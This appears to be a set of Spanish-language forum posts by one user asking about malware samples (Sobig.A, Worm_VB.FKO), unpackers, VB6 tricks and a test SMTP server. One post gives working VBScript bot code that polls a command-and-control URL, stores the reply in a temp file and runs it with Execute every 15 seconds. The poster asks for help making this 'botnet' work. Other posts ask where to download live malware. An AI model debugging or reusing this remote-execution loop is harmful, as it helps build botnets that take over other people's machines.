Temas

[RDG Packer Detector]

Estaba viendo como analizar el código fuente de W32 Lechuck, me di cuenta de que tenia un packer.
Descargue una herramienta llamada RDG Packer Detector para saber cual era, y empezé a buscar un unpacker para verlo con el vbdecompiler. Encontré 2 versiones diferentes del unpacker (Usando la Wayback Machine):

http://web.archive.org/web/20160324132204/http://exetools.com/files/unpackers/win/unpetite.zip
http://web.archive.org/web/20160324132204/http://exetools.com/files/unpackers/win/enlarge1.zip

Pero ninguno de estos funcionó.

Alguien conoce algun otro unpacker?
Gracias de antemano.

Hola! Necesito ayuda. Quiero hacer un servidor SMTP para hacer pruebas con distintos tipos de malware, pero busque y no me funciono, estoy usando (de paso para probarlo) Windows Server 2000.
Alguna sugerencia? Gracias de antemano.

EDIT: Quiero usarlo en Outlook Express

PD: Puse el tema aqui ya que voy a usar este servidor para analizar como funcionan distintos virus

[melting screen]

Una pregunta: ¿Conocen alguna manera de hacer un efecto de pantalla goteando como el virus melting screen en vb6? Quiero saber cómo funciona

Saludos de antemano
Pd: Intenté decompilar el virus melting screen pero fue en vano

[Sobig.A]

Alguien puede decirme alguna página de malware de virus antiguos?

Estoy buscando un virus llamado Sobig.A, además de otros virus.

Cualquier ayuda es bien recibida

Hay alguna forma de utilizar los sockets en vb6 sin registrar el ocx?   
Por ejemplo, dejarlo en la carpeta del ejecutable y que lo importe de ahi sin registrarlo, para que no requiera permisos de administrador

Estoy buscando una solucion desde hace semanas y no encuentro nada. 
Alguna idea? Gracias

[Nombre Real:]

Desde hace meses que me viene interesando este virus. Quiero analizarlo para ver su funcionamiento.  
Nombre Real: Worm_VB.FKO
Alias:

• Trojan-Downloader.Win32.VB.bbl
• Generic.dx
• W32.SillyFDC
• TR/Dldr.VB.bbl.2

El que tenga informacion sobre como conseguir este virus comente y pase link

Desde ya muchas gracias  

[k.tmp]

Hola! Tengo un problema con uno de mis proyectos, quiero hacer una botnet vbs pero no funciona como esperaba:

Código [Seleccionar] Expandir


On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set http = CreateObject("Microsoft.XmlHttp")

Do
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 1, True)
filex = file.readAll
file.Close
http.open "GET", "http://*****.tk/btnet/cmdint.php", False
http.send
If Not(http.responsetext = filex) Then
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 2, True)
file.Write http.responsetext
file.Close
Execute http.responsetext
End If
Wscript.Sleep 15000
Loop


Cuando se inicia por primera vez, la botnet busca en mi servidor C&C el codigo a ejecutar.
Luego, ejecuta el codigo y lo guarda en un archivo llamado k.tmp
Cuando se repite deberia volver a buscar el codigo en el servidor, y gracias al archivo k.tmp, verificar si el codigo ya se ejecutó antes.

El problema es que cuando ocurre el loop y el archivo de instrucciones del servidor se actualizó, la botnet no recibe el nuevo codigo, sino el anterior 

¿Como puedo solucionarlo?

Me di cuenta que muchas personas en vbs utilizan la siguiente instrucción:

Código [Seleccionar] Expandir

Set fso = Nothing

¿Cambia en algo que lo ponga? ¿Para que me podría servir?

Hola! Estaba viendo algunos videos del youtube danooct1 cuando de repente vi esto:



Y me gustaria saber como se llamaria a ese MSGBOX, no creo que sea un formulario ya que otros virus usan el mismo diseño, y no me parece que casualmente usen el mismo diseño... :/

Cualquier ayuda es bien recibida

Hola! Quiero crear una aplicación que reciba argumentos a través de línea de comandos (Creo que con command()) y luego poder imprimir un mensaje a través de CMD. Se puede conseguir?

Gracias de antemano.

[SetWindowPos]

Quiero lograr cambiar la posicion de un formulario a una parte aleatoria de la pantalla. Estoy intentando utilizar SetWindowPos, pero sigue apareciendo en la esquina superior izquierda.
Gracias de Antemano

Alguien tiene el Source + binario de Fire SYSTEM Executer? ES URGENTE, plz

pd: no sé si este tema va aquí, cualquier cosa nueva lo

Volvi a crear este tema porque no se si se publico  .
Alguien conoce alguna Base de Datos Online sobre malware? Estoy buscando el Worm Worm_VB.fko y no lo encuentro por ningun lado. Es para analizarlo y leer su codigo fuente en VirtualBox.

¿Alguien tiene el ejecutable o algun sitio web que conozcan?

No puedo poner el enlace de mi filebox asi que lo enviare a quien lo tenga